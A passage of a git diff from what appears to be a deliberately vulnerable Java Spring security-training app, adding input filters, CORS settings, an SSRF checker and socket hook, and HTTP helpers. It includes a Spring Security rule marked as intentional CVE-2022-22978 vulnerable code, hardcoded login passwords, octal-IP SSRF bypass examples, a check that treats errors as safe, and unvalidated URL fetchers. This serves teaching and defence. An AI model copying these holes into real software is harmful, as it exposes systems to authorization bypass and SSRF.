2020-04-04 02:15 + **/ + public static void stopSSRFHook(){ + SocketHook.stopHook(); + } + + + /** * Filter file path to prevent path traversal vulns. * @@ -103,7 +189,7 @@ public static String pathFilter(String filepath) { } } - if (temp.indexOf("..") != -1 || temp.charAt(0) == '/') { + if (temp.contains("..") || temp.charAt(0) == '/') { return null; } @@ -118,4 +204,50 @@ public static String cmdFilter(String input) { return input; } + + + /** + * 过滤mybatis中order by不能用#的情况。 + * 严格限制用户输入只能包含a-zA-Z0-9_-.字符。 + * + * @param sql sql + * @return 安全sql,否则返回null + */ + public static String sqlFilter(String sql) { + if (!FILTER_PATTERN.matcher(sql).matches()) { + return null; + } + return sql; + } + + /** + * 将非0-9a-zA-Z/-.的字符替换为空 + * + * @param str 字符串 + * @return 被过滤的字符串 + */ + public static String replaceSpecialStr(String str) { + StringBuilder sb = new StringBuilder(); + str = str.toLowerCase(); + for(int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + // 如果是0-9 + if (ch >= 48 && ch <= 57 ){ + sb.append(ch); + } + // 如果是a-z + else if(ch >= 97 && ch <= 122) { + sb.append(ch); + } + else if(ch == '/' || ch == '.' || ch == '-'){ + sb.append(ch); + } + } + + return sb.toString(); + } + + public static void main(String[] args) { + } + } \ No newline at end of file diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 127115f3..414fd24d 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -2,6 +2,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; @@ -9,7 +10,12 @@ import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; import org.springframework.security.web.util.matcher.RequestMatcher; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.CorsConfigurationSource; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; + import javax.servlet.http.HttpServletRequest; +import java.util.ArrayList; import java.util.Arrays; import java.util.HashSet; @@ -28,16 +34,21 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Value("${joychou.security.csrf.exclude.url}") private String[] csrfExcludeUrl; + + @Value("${joychou.no.need.login.url}") + private String[] noNeedLoginUrl; + + @Value("${joychou.security.csrf.method}") private String[] csrfMethod = {"POST"}; - RequestMatcher csrfRequestMatcher = new RequestMatcher() { + private RequestMatcher csrfRequestMatcher = new RequestMatcher() { @Override public boolean matches(HttpServletRequest request) { // 配置需要CSRF校验的请求方式, - HashSet allowedMethods = new HashSet(Arrays.asList(csrfMethod)); + HashSet allowedMethods = new HashSet<>(Arrays.asList(csrfMethod)); // return false表示不校验csrf if (!csrfEnabled) { return false; @@ -56,17 +67,43 @@ protected void configure(HttpSecurity http) throws Exception { .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); + http.cors(); + // spring security login settings http.authorizeRequests() - .antMatchers("/css/**", "/js/**").permitAll() // permit static resources + .antMatchers(noNeedLoginUrl).permitAll() // no need to login page + // CVE-2022-22978漏洞代码 + .regexMatchers("/black_path.*").denyAll() // 如果正则匹配到/black_path,则forbidden .anyRequest().authenticated().and() // any request authenticated except above static resources .formLogin().loginPage("/login").permitAll() // permit all to access /login page .successHandler(new LoginSuccessHandler()) .failureHandler(new LoginFailureHandler()).and() .logout().logoutUrl("/logout").permitAll().and() - .rememberMe(); // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。 + // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。 + .rememberMe(); + } + + /** + * Global cors configure + */ + @Bean + CorsConfigurationSource corsConfigurationSource() + { + // Set cors origin white list + ArrayList allowOrigins = new ArrayList<>(); + allowOrigins.add("joychou.org"); + allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。 + + CorsConfiguration configuration = new CorsConfiguration(); + configuration.setAllowedOrigins(allowOrigins); + configuration.setAllowCredentials(true); + configuration.setAllowedMethods(Arrays.asList("GET", "POST")); + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style + return source; } @Autowired @@ -76,7 +113,6 @@ public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception .withUser("joychou").password("joychou123").roles("USER").and() .withUser("admin").password("admin123").roles("USER", "ADMIN"); } - } diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java new file mode 100644 index 00000000..c2b3896a --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -0,0 +1,303 @@ +package org.joychou.security.ssrf; + +import java.net.HttpURLConnection; +import java.net.InetAddress; +import java.net.URI; +import java.net.URL; +import java.util.ArrayList; + +import org.apache.commons.lang.StringUtils; +import org.apache.commons.net.util.SubnetUtils; +import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + + +public class SSRFChecker { + + private static final Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + private static String decimalIp; + + public static boolean checkURLFckSSRF(String url) { + if (null == url) { + return false; + } + + ArrayList ssrfSafeDomains = WebConfig.getSsrfSafeDomains(); + try { + String host = SecurityUtil.gethost(url); + + // 必须http/https + if (!SecurityUtil.isHttp(url)) { + return false; + } + + if (ssrfSafeDomains.contains(host)) { + return true; + } + for (String ssrfSafeDomain : ssrfSafeDomains) { + if (host.endsWith("." + ssrfSafeDomain)) { + return true; + } + } + } catch (Exception e) { + logger.error(e.toString()); + return false; + } + return false; + } + + /** + * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 + * url只允许https或者http,并且设置默认连接超时时间。 + * 该修复方案会主动请求重定向后的链接。 + * + * @param url check的url + * @param checkTimes 设置重定向检测的最大次数,建议设置为10次 + * @return 安全返回true,危险返回false + */ + public static boolean checkSSRF(String url, int checkTimes) { + + HttpURLConnection connection; + int connectTime = 5 * 1000; // 设置连接超时时间5s + int i = 1; + String finalUrl = url; + try { + do { + // 判断当前请求的URL是否是内网ip + if (isInternalIpByUrl(finalUrl)) { + logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl); + return false; // 内网ip直接return,非内网ip继续判断是否有重定向 + } + + connection = (HttpURLConnection) new URL(finalUrl).openConnection(); + connection.setInstanceFollowRedirects(false); + connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL + connection.setConnectTimeout(connectTime); + //connection.setRequestMethod("GET"); + connection.connect(); // send dns request + int responseCode = connection.getResponseCode(); // 发起网络请求 + if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) { + String redirectedUrl = connection.getHeaderField("Location"); + if (null == redirectedUrl) + break; + finalUrl = redirectedUrl; + i += 1; // 重定向次数加1 + logger.info("redirected url: " + finalUrl); + if (i == checkTimes) { + return false; + } + } else + break; + } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK); + connection.disconnect(); + } catch (Exception e) { + return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。 + } + return true; // 默认返回true + } + + + /** + * 判断一个URL的IP是否是内网IP + * + * @return 如果是内网IP,返回true;非内网IP,返回false。 + */ + public static boolean isInternalIpByUrl(String url) { + + String host = url2host(url); + if (host.equals("")) { + return true; // 异常URL当成内网IP等非法URL处理 + } + + String ip = host2ip(host); + if (ip.equals("")) { + return true; // 如果域名转换为IP异常,则认为是非法URL + } + + return isInternalIp(ip); + } + + + /** + * 使用SubnetUtils库判断ip是否在内网网段 + * + * @param strIP ip字符串 + * @return 如果是内网ip,返回true,否则返回false。 + */ + public static boolean isInternalIp(String strIP) { + if (StringUtils.isEmpty(strIP)) { + logger.error("[-] SSRF check failed. IP is empty. " + strIP); + return true; + } + + ArrayList blackSubnets = WebConfig.getSsrfBlockIps(); + for (String subnet : blackSubnets) { + SubnetUtils utils = new SubnetUtils(subnet); + if (utils.getInfo().isInRange(strIP)) { + logger.error("[-] SSRF check failed. Internal IP: " + strIP); + return true; + } + } + + return false; + + } + + + /** + * Convert host to decimal ip. + * Since there is a bypass in octal using {@link InetAddress#getHostAddress()}, + * the function of converting octal to decimal is added. + * If it still can be bypassed, please submit + * PullRequests or + * Issues.
+ * + *

Normal:

+ *
    + *
  • 69299689 to 10.23.78.233
  • + *
  • 012.0x17.78.233 to 10.23.78.233
  • + *
  • 012.027.0116.0351 to 10.23.78.233
  • + *
  • 127.0.0.1.xip.io to 127.0.0.1
  • + *
  • 127.0.0.1.nip.io to 127.0.0.1
  • + *
+ + *

Bypass:

+ *
    + *
  • 01205647351 {@link InetAddress#getHostAddress()} result is 71.220.183.247, actually 10.23.78.233
  • + *
  • 012.23.78.233 {@link InetAddress#getHostAddress()} result is 12.23.78.233, actually 10.23.78.233
  • + *
  • 012.23.233 {@link InetAddress#getHostAddress()} result is 12.23.0.233, actually 10.23.0.233
  • + *
  • 012.233 {@link InetAddress#getHostAddress()} result is 12.0.0.233, actually 10.0.0.233
  • + *
+ * @return decimal ip + */ + public static String host2ip(String host) { + + if (null == host) { + return ""; + } + + // convert octal to decimal + if(isOctalIP(host)) { + host = decimalIp; + } + + try { + // send dns request + InetAddress IpAddress = InetAddress.getByName(host); + return IpAddress.getHostAddress(); + } catch (Exception e) { + logger.error("host2ip exception " + e.getMessage()); + return ""; + } + } + + + /** + * Check whether the host is an octal IP, if so, convert it to decimal. + * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false. + */ + public static boolean isOctalIP(String host) { + try{ + String[] ipParts = host.split("\\."); + StringBuilder newDecimalIP = new StringBuilder(); + boolean is_octal = false; + + // Octal ip only has number and dot character. + if (isNumberOrDot(host)) { + + // not support ipv6 + if (ipParts.length > 4) { + logger.error("Illegal ipv4: " + host); + return false; + } + + // 01205647351 + if( ipParts.length == 1 && host.startsWith("0") ) { + decimalIp = Integer.valueOf(host, 8).toString(); + return true; + } + + // 012.23.78.233 + for(String ip : ipParts) { + if (!isNumber(ip)){ + logger.error("Illegal ipv4: " + host); + return false; + } + // start with "0", but not "0" + if (ip.startsWith("0") && !ip.equals("0")) { + if (Integer.valueOf(ip, 8) >= 256){ + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); + is_octal = true; + }else{ + if (Integer.valueOf(ip, 10) >= 256) { + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(ip).append("."); + } + } + // delete last char . + decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); + } + return is_octal; + } catch (Exception e){ + logger.error("SSRFChecker isOctalIP exception: " + e.getMessage()); + return false; + } + + } + + /** + * Check string is a number. + * @return If string is a number 0-9, return true. Otherwise, return false. + */ + private static boolean isNumber(String str) { + if (null == str || "".equals(str)) { + return false; + } + for (int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + if (ch < '0' || ch > '9') { + return false; + } + } + return true; + } + + + /** + * Check string is a number or dot. + * @return If string is a number or a dot, return true. Otherwise, return false. + */ + private static boolean isNumberOrDot(String s) { + for (int i = 0; i < s.length(); i++) { + char ch = s.charAt(i); + if ((ch < '0' || ch > '9') && ch != '.'){ + return false; + } + } + return true; + } + + /** + * Get host from URL which the protocol must be http:// or https:// and not be //. + */ + private static String url2host(String url) { + try { + // use URI instead of URL + URI u = new URI(url); + if (SecurityUtil.isHttp(url)) { + return u.getHost(); + } + return ""; + } catch (Exception e) { + return ""; + } + } + +} diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java new file mode 100644 index 00000000..817c881e --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java @@ -0,0 +1,15 @@ +package org.joychou.security.ssrf; + + +/** + * SSRFException + * + * @author JoyChou @2020-04-04 + */ +public class SSRFException extends RuntimeException { + + SSRFException(String s) { + super(s); + } + +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java new file mode 100644 index 00000000..4ce3509c --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java @@ -0,0 +1,27 @@ +package org.joychou.security.ssrf; + +import java.io.IOException; +import java.net.Socket; +import java.net.SocketException; + + +/** + * Socket Hook switch + * + * @author liergou @ 2020-04-04 02:12 + */ +public class SocketHook { + + public static void startHook() throws IOException { + SocketHookFactory.initSocket(); + SocketHookFactory.setHook(true); + try{ + Socket.setSocketImplFactory(new SocketHookFactory()); + }catch (SocketException ignored){ + } + } + + public static void stopHook(){ + SocketHookFactory.setHook(false); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java new file mode 100644 index 00000000..dc6d951d --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java @@ -0,0 +1,88 @@ +package org.joychou.security.ssrf; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.net.Socket; +import java.net.SocketImpl; +import java.net.SocketImplFactory; + + +/** + * socket factory impl + * + * @author liergou @ 2020-04-03 23:41 + */ +public class SocketHookFactory implements SocketImplFactory { + + + private static Boolean isHook = false; + private static Constructor socketConstructor = null; + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * @param set hook switch + */ + static void setHook(Boolean set) { + isHook = set; + } + + + static void initSocket() { + + if (socketConstructor != null) { + return; + } + + Socket socket = new Socket(); + try { + // get impl field in Socket class + Field implField = Socket.class.getDeclaredField("impl"); + implField.setAccessible(true); + Class clazz = implField.get(socket).getClass(); + + SocketHookImpl.initSocketImpl(clazz); + socketConstructor = clazz.getDeclaredConstructor(); + socketConstructor.setAccessible(true); + + } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) { + throw new SSRFException("SocketHookFactory init failed!"); + } + + try { + socket.close(); + } catch (IOException ignored) { + + } + } + + + public SocketImpl createSocketImpl() { + + if (isHook) { + try { + return new SocketHookImpl(socketConstructor); + } catch (Exception e) { + logger.error("Socket hook failed!"); + try { + return (SocketImpl) socketConstructor.newInstance(); + } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + } else { + try { + return (SocketImpl) socketConstructor.newInstance(); + } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) { + logger.error(e.toString()); + } + } + + return null; + } +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java new file mode 100644 index 00000000..799ca0e5 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java @@ -0,0 +1,269 @@ +package org.joychou.security.ssrf; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.*; + + +/** + * Socket impl + * + * @author liergou @ 2020-04-02 23:39 + */ +public class SocketHookImpl extends SocketImpl implements SocketOptions { + + private static Boolean isInit = false; + + private static SocketImpl socketImpl = null; + private static Method createImpl; + private static Method connectHostImpl; + private static Method connectInetAddressImpl; + private static Method connectSocketAddressImpl; + private static Method bindImpl; + private static Method listenImpl; + private static Method acceptImpl; + private static Method getInputStreamImpl; + private static Method getOutputStreamImpl; + private static Method availableImpl; + private static Method closeImpl; + private static Method shutdownInputImpl; + private static Method shutdownOutputImpl; + private static Method sendUrgentDataImpl; + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException, + InvocationTargetException, InstantiationException { + socketImpl = (SocketImpl) socketConstructor.newInstance(); + } + + + /** + * Init reflect method. + * + * @author liergou + */ + static void initSocketImpl(Class initSocketImpl) { + + if (initSocketImpl == null) { + SocketHookFactory.setHook(false); + throw new RuntimeException("InitSocketImpl failed! Hook stopped!"); + } + + if (!isInit) { + createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class[]{boolean.class}); + connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{String.class, int.class}); + connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{InetAddress.class, int.class}); + connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{SocketAddress.class, int.class}); + bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class[]{InetAddress.class, int.class}); + listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class[]{int.class}); + acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class[]{SocketImpl.class}); + getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class[]{}); + getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class[]{}); + availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class[]{}); + closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class[]{}); + shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class[]{}); + shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class[]{}); + sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class[]{int.class}); + isInit = true; + } + } + + + /** + * socket base method impl + */ + @Override + protected void create(boolean stream) { + try { + createImpl.invoke(socketImpl, stream); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + + @Override + protected void connect(String host, int port) { + logger.info("host: " + host + "\tport: " + port); + try { + connectHostImpl.invoke(socketImpl, host, port); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + + } + + + @Override + protected void connect(InetAddress address, int port) { + + logger.info("InetAddress: " + address.toString()); + + try { + if (SSRFChecker.isInternalIp(address.getHostAddress())) { + throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString()); + } + connectInetAddressImpl.invoke(socketImpl, address, port); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void connect(SocketAddress address, int timeout) { + + // convert SocketAddress to InetSocketAddress + InetSocketAddress addr = (InetSocketAddress) address; + + String ip = addr.getAddress().getHostAddress(); + String host = addr.getHostName(); + logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip)); + + try { + if (SSRFChecker.isInternalIp(ip)) { + throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip)); + } + connectSocketAddressImpl.invoke(socketImpl, address, timeout); + } catch (IllegalAccessException | IllegalArgumentException | + InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void bind(InetAddress host, int port) { + try { + bindImpl.invoke(socketImpl, host, port); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void listen(int backlog) { + + try { + listenImpl.invoke(socketImpl, backlog); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void accept(SocketImpl s) { + + try { + acceptImpl.invoke(socketImpl, s); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected InputStream getInputStream() { + InputStream inStream = null; + + try { + inStream = (InputStream) getInputStreamImpl.invoke(socketImpl); + } catch (ClassCastException | InvocationTargetException | + IllegalArgumentException | IllegalAccessException ex) { + logger.error(ex.toString()); + } + + return inStream; + } + + @Override + protected OutputStream getOutputStream() { + OutputStream outStream = null; + + try { + outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl); + } catch (ClassCastException | IllegalArgumentException | + IllegalAccessException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + return outStream; + } + + @Override + protected int available() { + + int result = -1; + + try { + result = (Integer) availableImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + return result; + } + + @Override + protected void close() { + try { + closeImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void shutdownInput() { + try { + shutdownInputImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void shutdownOutput() { + try { + shutdownOutputImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void sendUrgentData(int data) { + try { + sendUrgentDataImpl.invoke(socketImpl, data); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + } + + public void setOption(int optID, Object value) throws SocketException { + if (null != socketImpl) { + socketImpl.setOption(optID, value); + } + } + + public Object getOption(int optID) throws SocketException { + return socketImpl.getOption(optID); + } + + /* + * Dont impl other child method now. Don't be sure where will use it. + * + */ + + +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java new file mode 100644 index 00000000..00f6c275 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java @@ -0,0 +1,27 @@ +package org.joychou.security.ssrf; + +import java.lang.reflect.Method; + +class SocketHookUtils { + + /** + * Poll the parent class to find the reflection method. + * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl + * + * @author liergou @2020-04-04 01:43 + */ + static Method findMethod(Class clazz, String findName, Class[] args) { + + while (clazz != null) { + try { + Method method = clazz.getDeclaredMethod(findName, args); + method.setAccessible(true); + return method; + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + return null; + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java new file mode 100644 index 00000000..198a5311 --- /dev/null +++ b/src/main/java/org/joychou/service/HttpService.java @@ -0,0 +1,11 @@ +package org.joychou.service; + + +import org.springframework.http.HttpHeaders; + +public interface HttpService { + + String RequestHttp(String url, HttpHeaders headers); + + String RequestHttpBanRedirects(String url, HttpHeaders headers); +} diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java new file mode 100644 index 00000000..f63b6e42 --- /dev/null +++ b/src/main/java/org/joychou/util/CookieUtils.java @@ -0,0 +1,37 @@ +package org.joychou.util; + +import lombok.extern.slf4j.Slf4j; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + + +@Slf4j +public class CookieUtils { + + public static boolean deleteCookie(HttpServletResponse res, String cookieName) { + try { + Cookie cookie = new Cookie(cookieName, null); + cookie.setMaxAge(0); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } + + public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) { + try { + Cookie cookie = new Cookie(cookieName, cookieValue); + cookie.setMaxAge(1000); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } +} diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java new file mode 100644 index 00000000..c1eac95c --- /dev/null +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -0,0 +1,223 @@ +package org.joychou.util; + +import com.squareup.okhttp.OkHttpClient; +import org.apache.commons.httpclient.HttpClient; +import org.apache.commons.httpclient.methods.GetMethod; +import org.apache.commons.io.IOUtils; +import org.apache.http.HttpResponse; +import org.apache.http.client.fluent.Request; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClients; +import org.apache.http.impl.nio.client.CloseableHttpAsyncClient; +import org.apache.http.impl.nio.client.HttpAsyncClients; +import org.apache.http.util.EntityUtils; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import javax.imageio.ImageIO; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URI; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.*; + +/** + * @author JoyChou 2020-04-06 + */ +public class HttpUtils { + + private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class); + + public static String commonHttpClient(String url) { + + HttpClient client = new HttpClient(); + GetMethod method = new GetMethod(url); + + try { + client.executeMethod(method); // send request + byte[] resBody = method.getResponseBody(); + return new String(resBody); + + } catch (IOException e) { + return "Error: " + e.getMessage(); + } finally { + // Release the connection. + method.releaseConnection(); + } + } + + + public static String request(String url) { + try { + return Request.Get(url).execute().returnContent().toString(); + } catch (Exception e) { + return e.getMessage(); + } + } + + + public static String httpClient(String url) { + + StringBuilder result = new StringBuilder(); + + try { + + CloseableHttpClient client = HttpClients.createDefault(); + HttpGet httpGet = new HttpGet(url); + // set redirect enable false + // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build()); + HttpResponse httpResponse = client.execute(httpGet); // send request + BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); + + String line; + while ((line = rd.readLine()) != null) { + result.append(line); + } + + return result.toString(); + + } catch (Exception e) { + return e.getMessage(); + } + } + + + public static String URLConnection(String url) { + try { + URL u = new URL(url); + URLConnection urlConnection = u.openConnection(); + BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request + String inputLine; + StringBuilder html = new StringBuilder(); + + while ((inputLine = in.readLine()) != null) { + html.append(inputLine); + } + in.close(); + return html.toString(); + } catch (Exception e) { + logger.error(e.getMessage()); + return e.getMessage(); + } + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + public static String HttpURLConnection(String url) { + try { + URL u = new URL(url); + URLConnection urlConnection = u.openConnection(); + HttpURLConnection conn = (HttpURLConnection) urlConnection; +// conn.setInstanceFollowRedirects(false); +// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField + InputStream is = conn.getInputStream(); // send request + BufferedReader in = new BufferedReader(new InputStreamReader(is)); + String inputLine; + StringBuilder html = new StringBuilder(); + + while ((inputLine = in.readLine()) != null) { + html.append(inputLine); + } + in.close(); + return html.toString(); + } catch (IOException e) { + logger.error(e.getMessage()); + return e.getMessage(); + } + } + + + /** + * Jsoup is a HTML parser about Java. + * + * @param url http request url + */ + public static String Jsoup(String url) { + try { + Document doc = Jsoup.connect(url) +// .followRedirects(false) + .timeout(3000) + .cookie("name", "joychou") // request cookies + .execute().parse(); + return doc.outerHtml(); + } catch (IOException e) { + return e.getMessage(); + } + } + + + /** + * The default setting of followRedirects is true. The option of followRedirects is true. + * + * UserAgent is okhttp/2.5.0. + */ + public static String okhttp(String url) throws IOException { + OkHttpClient client = new OkHttpClient(); +// client.setFollowRedirects(false); + com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); + return client.newCall(ok_http).execute().body().string(); + } + + + /** + * The default setting of followRedirects is true. + * + * UserAgent is Java/1.8.0_102. + * + * @param url http request url + */ + public static void imageIO(String url) { + try { + URL u = new URL(url); + ImageIO.read(u); // send request + } catch (IOException e) { + logger.error(e.getMessage()); + } + + } + + + /** + * IOUtils which is wrapped by URLConnection can get remote pictures. + * The default setting of redirection is true. + * + * @param url http request url + */ + public static void IOUtils(String url) { + try { + IOUtils.toByteArray(URI.create(url)); + } catch (IOException e) { + logger.error(e.getMessage()); + } + } + + + public static String HttpAsyncClients(String url) { + CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault(); + try { + httpclient.start(); + final HttpGet request = new HttpGet(url); + Future future = httpclient.execute(request, null); + HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS); + return EntityUtils.toString(response.getEntity()); + } catch (Exception e) { + return e.getMessage(); + } finally { + try { + httpclient.close(); + } catch (Exception e) { + logger.error(e.getMessage()); + } + } + } +} diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java new file mode 100644 index 00000000..bb33642e --- /dev/null +++ b/src/main/java/org/joychou/util/JwtUtils.java @@ -0,0 +1,104 @@ +package org.joychou.util; + +import com.auth0.jwt.JWT; +import com.auth0.jwt.JWTVerifier; +import com.auth0.jwt.algorithms.Algorithm; +import com.auth0.jwt.exceptions.JWTVerificationException; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import lombok.extern.slf4j.Slf4j; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.Date; + +@Slf4j +public class JwtUtils { + + private static final long EXPIRE = 